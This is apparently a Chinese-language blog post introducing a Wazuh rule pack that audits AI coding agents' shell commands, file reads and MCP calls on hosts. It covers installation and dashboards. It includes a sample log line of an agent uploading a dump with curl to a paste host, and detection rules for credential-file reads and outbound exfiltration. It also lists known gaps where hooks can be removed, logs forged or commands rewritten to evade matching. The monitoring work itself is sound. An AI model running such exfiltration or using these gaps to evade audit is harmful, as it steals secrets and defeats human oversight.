跳到主要內容
節省工具箱Jason Tools
自研專案

用 Wazuh 稽核 AI 程式代理的主機操作

Jason Cheng 發布 瀏覽 1 次
用 Wazuh 稽核 AI 程式代理的主機操作
本文目錄
  1. 要回答的問題
  2. jt-ai-agent 的組成
  3. 記錄範圍
  4. 告警規則的分級
  5. 看板導覽
  6. 安裝步驟
  7. 限制與適用範圍
  8. 結論
  9. 參考資料

AI 程式代理在你的主機上下了哪些指令、讀了哪些檔案,出事之後查得出來嗎?

Claude Code、Codex、opencode、Gemini CLI、Cursor、GitHub Copilot 這類 AI 程式代理,早就不只是「給建議」。它們會自己下 shell 指令、改檔案、經 SSH 連到別台主機、呼叫各種 MCP(Model Context Protocol,讓代理呼叫外部工具的介面)工具,甚至打開瀏覽器幫你點網頁。

EDR 或 auditd 看得到「某個程序執行了 bash」,卻看不出這是哪個 AI 代理、在哪個工作階段、為了哪一次工具呼叫而執行的。所以我在 jt-wazuh-mgr(我為了強化 Wazuh 管理而開發的外掛工具)裡做了 jt-ai-agent 規則套件:在代理本身留下稽核記錄,交給 Wazuh 分級告警,再用看板呈現。

要回答的問題

把 AI 代理放進公司的主機之後,資安與維運人員很快會被問到這幾件事:

  • 誰、在哪、做了什麼
    代理以誰的身分、在哪台主機、做了什麼?出事之後能不能回頭查?
  • 有沒有外洩
    它有沒有讀了私鑰或雲端帳密,接著又把資料傳出去?
  • 有沒有被關掉保護
    有沒有人(或代理自己)把權限確認全部關掉,或是動了稽核設定?
  • 有多少台在用
    公司裡到底有幾台主機在跑 AI 代理?有沒有沒被納管的?

jt-ai-agent 的組成

jt-ai-agent 是 jt-wazuh-mgr(開源,AGPL-3.0)的規則套件之一,本文對應 jt-wazuh-mgr v1.37.3、套件 1.5.4,包含四個部分:

  1. hook 程式
    jt-ai-agent-hook.py,只用 Python 標準函式庫,放在每台跑 AI 代理的主機上。代理每一次呼叫工具之前,都會先把呼叫內容交給它,它把重點寫成一行 JSON 到 /var/log/jt-ai-agent/actions.log
  2. Wazuh 解碼器與 72 條規則
    規則編號 133700~133799,Wazuh agent 收這個記錄檔,manager 依規則分級告警,從一般的 L3 到要立刻處理的 L12、L13
  3. 看板
    匯入 Wazuh Dashboard 之後,一眼看出誰在用哪個代理、做了哪些事、哪些值得注意
  4. 盤點腳本
    在每個 Wazuh manager 節點上每六小時跑一次,找出「有裝 AI 代理、卻沒有納入稽核」的主機,以及開在網路上的本機模型服務(Ollama、llama.cpp、vLLM)

支援的 AI 代理

hook 一律掛在系統層的設定,對主機上所有使用者生效,多數代理的一般使用者無法自己拿掉(Gemini CLI 例外,見下表)。支援 Linux 與 macOS(macOS 的路徑在 /Library/Application Support/ 底下),Windows 目前不支援。

AI 代理掛接位置(Linux)說明
Claude Code/etc/claude-code/managed-settings.json受管理設定的 hooks,使用者與專案設定都關不掉
Codex/etc/codex/requirements.toml系統要求檔裡的受管理 hooks;同時固定 [features] hooks = true,使用者才無法用自己的設定關掉所有 hooks
opencode/etc/opencode/plugins/系統外掛目錄
Gemini CLI/etc/gemini-cli/settings.json系統設定;但使用者可以在自己的設定用 hooksConfig.disabled 停用這個 hook,套件會偵測並告警(規則 133775、133776)
Cursor/etc/cursor/hooks.json只用「執行後」事件,避免擋到代理
GitHub Copilot/etc/github-copilot/policy.d/官方文件標示這個目錄給 Copilot CLI 使用;VS Code 代理模式會不會讀取,GitHub 沒有說明,要實際確認

注意:Claude Code、Codex、opencode 已在實際環境運作;Gemini CLI、Cursor、GitHub Copilot,以及經 MCP 的瀏覽器自動化,是依各工具的官方文件實作與測試,尚未在受稽核的主機上長期使用。

記錄範圍

記錄的內容

  • 誰
    作業系統帳號、經 sudo 前的原始帳號、工作階段 ID、子代理
  • 在哪
    主機、工作目錄、git 專案與分支、權限模式,經 SSH 進來的話還有來源位址
  • 做了什麼
    工具名稱;shell 指令的指令列(最多 2,000 字元);檔案工具的路徑;網頁工具的網址;MCP 呼叫的伺服器與工具;瀏覽器自動化的動作、網址與元素

不記錄的內容

  • 檔案內容、指令輸出、提示詞(prompt)一律不記
  • 在瀏覽器裡輸入的文字、執行的 JavaScript,只記長度
  • 指令列裡的密碼、token、金鑰,寫入前先換成 ***,例如 DB_PASSWORD=***、curl -u user:***,以及 GitHub、GitLab、Slack、AWS、Google、JWT 的 token 格式

hook 永遠不阻擋:它不做任何決定、不改變代理的行為,自己出錯時也是安靜結束,代理照常工作。它是行車紀錄器,不是閘門。

一行實際的記錄長這樣(示範資料):

{"jt_ai":{"v":1,"ts":"2026-11-15T16:06:02+0800","host":"dev-ws-02","user":"carol","event":"PreToolUse","session":"sess-x10","cwd":"/home/carol/projects/inventory","tool":"Bash","agent":"claude-code","cmd":"curl -F file=@dump.tgz https://paste.example.net/upload","cmd_len":55}}

告警規則的分級

每一次工具呼叫都會留下記錄,但 Wazuh 只對值得看的事情升等級。規則也標註了對應的 MITRE ATT&CK 技術(例如 T1552 Unsecured Credentials、T1041 Exfiltration Over C2 Channel),方便和既有的資安流程接軌。

等級代表性的規則
L3 一般活動執行 shell 指令、修改檔案、使用網頁工具、呼叫 MCP 工具、啟動子代理、開始工作階段,用來統計與回溯
L4~L8 需要留意經 SSH 連到其他主機(L4)、指令裡帶了密碼或 token(已遮蔽,L4)、網路掃描工具與 nc、socat 這類原始連線(L6)、在瀏覽器執行 JavaScript 或讀取 cookie 與網路請求(L6)、下載後直接執行 curl … | sh(L8)、代理新增或修改自己的 MCP 伺服器(L8)、整個工作階段關閉所有權限確認(bypassPermissions,L8)
L9~L10 高風險讀取私鑰或帳密檔(~/.ssh/id_*、~/.aws/credentials 等,L9)、用 curl/wget 上傳本機檔案或使用檔案分享、穿隧服務(L10)、設定常駐(cron、systemd、authorized_keys)、變更帳號或權限、讀取瀏覽器 cookie 或已存密碼、挖礦程式、本機的破壞性指令(皆 L10)
L12 立即處理經 SSH 下破壞性指令、竄改稽核本身(改 hook、改受管理設定、清除記錄或關掉稽核)、同一工作階段十分鐘內四個以上破壞性指令
L13 最高同一工作階段先讀帳密,15 分鐘內把資料傳出去

最後兩類是跨事件的關聯:單一個動作看起來都還好,連在一起才是警訊。「先讀帳密再外傳」正是被提示注入(prompt injection)的代理把資料帶出去的樣子。

看板導覽

套件附的看板有中英兩版,以下截圖都是虛構的示範資料(主機、帳號、10.0.5.x 位址都是假的),告警則是把示範記錄送進真正的 Wazuh 4.14 manager 產生的。截圖拍自 OpenSearch Dashboards 2.19.6,也就是 Wazuh Dashboard 4.14 內建的版本。

最上面是總覽:套件說明、全部告警、等級 7~11、等級 12 以上三張數字卡(點數字即篩選),以及等級分布與各等級的告警趨勢。

看板總覽:套件說明、三張數字卡、等級分布與告警趨勢
看板總覽:套件說明、三張數字卡、等級分布與告警趨勢

接著是觸發最多的規則,每一列是「規則 × AI 代理」,說明欄寫出是誰、在哪台主機、做了什麼;表頭可排序、欄寬可拖曳,點規則或代理就加上篩選。

觸發最多的規則:規則、等級、AI 代理、告警數與說明
觸發最多的規則:規則、等級、AI 代理、告警數與說明

再往下是一組「左邊表格、右邊圖」:告警最多的主機、AI 代理、事件類型、工具、執行帳號、SSH 目的地、MCP 伺服器。

各 AI 代理的告警數,表格旁是環圈圖
各 AI 代理的告警數,表格旁是環圈圖
代理呼叫的 MCP 伺服器
代理呼叫的 MCP 伺服器

細節表列出 Shell 指令、工作目錄、專案、sudo 前的原始帳號、Cursor 登入帳號與瀏覽器動作,最下面是可以展開完整欄位的最新告警。

Shell 指令與工作目錄
Shell 指令與工作目錄

只看值得注意的事件

在搜尋列輸入 rule.level >= 5,整個看板跟著變,日常的 L3 記錄就不會淹沒重要的告警。

在搜尋列輸入 rule.level >= 5
在搜尋列輸入 rule.level >= 5
篩選後的規則表:讀帳密後外傳(L13)、竄改稽核(L12)等
篩選後的規則表:讀帳密後外傳(L13)、竄改稽核(L12)等

想看某一個代理,點圖上的扇形或長條就會加上篩選:

點環圈圖上的 claude-code,看板自動加上篩選
點環圈圖上的 claude-code,看板自動加上篩選

深入一筆告警

在 Discover 展開「讀帳密後外傳」這筆 L13 告警,主機、帳號、工作階段、指令與 MITRE ATT&CK 對應都在同一筆裡,可以沿著工作階段 ID 回頭查同一段時間做過的其他事。

Discover 展開 L13 告警:主機、帳號、工作階段、指令與 MITRE 對應
Discover 展開 L13 告警:主機、帳號、工作階段、指令與 MITRE 對應

安裝步驟

以下假設已經有 Wazuh(4.8 以上,套件測試於 4.14.9)。

一、安裝 jt-wazuh-mgr

裝在 Wazuh manager 上,叢集裝在 master:

curl -fsSL https://raw.githubusercontent.com/jasoncheng7115/jt-wazuh-mgr/main/install.sh | sudo bash

裝好後用瀏覽器開 jt-wazuh-mgr,以 Wazuh API 帳號登入。

二、安裝規則套件

「規則套件」分頁找到「AI 程式代理稽核」,按「安裝」,接著到「規則」分頁按「重新載入規則集」(叢集會一起重載所有節點)。在「規則」分頁搜尋 133700 看得到這組規則就完成了。

jt-wazuh-mgr 的「規則套件」分頁,jt-ai-agent 一鍵安裝
jt-wazuh-mgr 的「規則套件」分頁,jt-ai-agent 一鍵安裝
套件詳細資訊與部署說明,每一步都有「如何確認」
套件詳細資訊與部署說明,每一步都有「如何確認」

三、把主機加入群組 ai-agent

「群組」分頁選 ai-agent,把有人在用 AI 代理的主機加進去。群組設定會讓 Wazuh agent 收集稽核記錄、以檔案完整性監控盯著 hook 與各代理的系統層設定,並把 hook 程式送到主機的 /var/ossec/etc/shared/。主機自己的 ossec.conf 如果已經讀同一個記錄檔,要拿掉那一段,logcollector 只保留一份定義。

四、在每台主機安裝 hook

以 root 執行。實際執行的是 /usr/local/lib 的副本,不是共享目錄那份,因為共享目錄的內容可以由 manager 改寫:

install -D -m 0755 -o root -g root /var/ossec/etc/shared/jt-ai-agent-hook.py /usr/local/lib/jt-ai-agent/jt-ai-agent-hook.py
install -d -m 0755 /var/log/jt-ai-agent
install -m 0622 /dev/null /var/log/jt-ai-agent/actions.log
install -m 0644 /var/ossec/etc/shared/jt-ai-agent.logrotate /etc/logrotate.d/jt-ai-agent

再依主機上有的代理,把 hook 掛進各自的系統層設定。設定檔已經存在時,要合併進去,不要整份取代。以 Claude Code 為例,/etc/claude-code/managed-settings.json 的最小設定是:

{
  "hooks": {
    "PreToolUse": [
      {"matcher": "*", "hooks": [{"type": "command", "command": "/usr/local/lib/jt-ai-agent/jt-ai-agent-hook.py", "timeout": 5}]}
    ],
    "SessionStart": [
      {"hooks": [{"type": "command", "command": "/usr/local/lib/jt-ai-agent/jt-ai-agent-hook.py", "timeout": 5}]}
    ]
  }
}

完整版還會掛上權限請求、失敗的呼叫、子代理與工作階段結束;其他五種代理的設定內容,jt-wazuh-mgr 的「部署說明」都逐步列出。設定完成後要開新的工作階段,執行中的工作階段仍用舊設定。

驗證方式:在代理裡跑一個無害的指令,tail -2 /var/log/jt-ai-agent/actions.log 會看到兩行,Wazuh 會出現規則 133705(工作階段開始)與 133702(shell 指令)。

五、匯入看板

「規則套件」分頁按「匯入所有看板」,輸入 Wazuh Dashboard 的帳號(例如 admin,Wazuh API 帳號在那裡不能用),一次匯入所有已安裝套件的看板。密碼只用在這一次請求,不會被儲存,再次匯入會覆蓋原本的看板、不會重複。

「匯入所有看板」:一次把已安裝套件的看板匯入 Wazuh Dashboard
「匯入所有看板」:一次把已安裝套件的看板匯入 Wazuh Dashboard

六、盤點沒納管的代理(選用)

套件會在 manager 上排程盤點腳本,每六小時一次。它只讀 Wazuh 已經收集的軟體、程序與監聽連接埠清單,以及該節點自己的告警記錄,不會連到主機上,找出:

  • 有裝 AI 代理、但不在 ai-agent 群組的主機(L8)
  • 在群組裡、卻沒有裝 hook 的主機(L7)
  • 在群組裡、hook 也在,Gemini CLI、Claude Code 或 Codex 的程序 24 小時內啟動過,啟動後卻沒有任何稽核記錄(規則 133776,L7):這三種代理一啟動就會寫「工作階段開始」,有在執行卻完全沒有記錄,代表 hook 被關掉或沒設定好。常駐閒置的 opencode serve 與 Cursor 程式不列入判斷
  • 在網路上開放的本機模型服務(L8):Ollama 與 llama.cpp 的伺服器預設沒有驗證

軟體套件在 Wazuh 下一次掃描後就找得到;程序則要剛好在每小時的程序掃描時執行中才找得到。叢集的話,worker 也要放一份並排程,部署說明裡有指令。

限制與適用範圍

  • hook 不是安全邊界
    以 root 執行的代理理論上可以把 hook 拿掉,所以套件同時用 Wazuh 的檔案完整性監控盯著 hook 與系統層設定,被改會出現 L10、被刪會出現 L12 告警
  • 記錄檔可以被附加偽造的內容
    為了讓以一般帳號執行的代理也能寫入,記錄檔權限是 0622,本機帳號可以寫入假的記錄;已經被 Wazuh 讀走的內容則會留在 Wazuh
  • 記錄的是「嘗試」
    hook 在執行前記錄,被使用者或權限系統拒絕的呼叫也會出現在記錄裡(Cursor 例外,它是執行後立即記錄,被拒絕的會帶上失敗標記)
  • 遮蔽不可能百分之百
    寫在 heredoc 或位置參數裡的密碼可能留下來,記錄與告警仍要當成機密資料保護
  • 規則判斷的是指令列文字
    指令總有辦法改寫成比對不到的形式,這套稽核的定位是「看得見、可回溯」,不是取代 EDR;只要 hook 有在跑,每一個指令的 L3 記錄是避不開的那一層
  • Gemini CLI 的使用者可以自行停用 hook
    Gemini CLI 會把使用者與專案設定裡的 hooksConfig.disabled 併入系統設定,使用者用 /hooks disable 或直接改設定檔就能停用這個 hook。套件 1.5.4 用兩條規則補上:每次有受稽核的工作階段開始,hook 會檢查該使用者的 ~/.gemini/settings.json 與該專案的 .gemini/settings.json,發現被停用就告警(規則 133775,L10),只記下是哪個檔、哪個設定,不記檔案其他內容(那裡可能有 MCP 伺服器的 token)。同一位使用者開啟其他受稽核的代理時就會立即告警;只用 Gemini 的人,hook 停用後 Gemini 不會再呼叫它,改由盤點腳本發現程序有在執行卻沒有記錄(規則 133776,L7),通常在數小時內。仍有兩個缺口:專案的設定檔只有在該專案開始工作階段時才看得到;Gemini 若剛好在兩次程序快照之間開了又關,仍可能漏掉
  • Copilot 的 VS Code 代理模式要實際確認
    GitHub 的文件只說明 Copilot CLI 會讀 policy.d。安裝後在 VS Code 代理模式跑一個無害的指令,/var/log/jt-ai-agent/actions.log 出現 "agent":"copilot" 那行才算有稽核,沒有就表示 VS Code 不在範圍內
  • 沒有 hook 機制的代理不在範圍內
    例如 Aider、Windsurf、Cline、Continue;盤點腳本會把 Aider 列出來(L5)。Codex 由伺服器端執行的網頁搜尋不經過 hook,也不會被記錄

結論

AI 程式代理帶來的生產力很實在,但它在主機上的每一個動作,都應該跟人類管理員一樣留下記錄。jt-ai-agent 把這些動作送進已經在用的 Wazuh:平常用來看誰在用、用了什麼,出事時能沿著工作階段回溯;真正危險的組合,像是讀帳密之後外傳、竄改稽核、連續破壞性指令,則會直接升到最高等級。

參考資料

Jason Cheng

Jason Cheng

企業開源技術顧問,專注架構規劃與實務導入

關於作者 →

延伸閱讀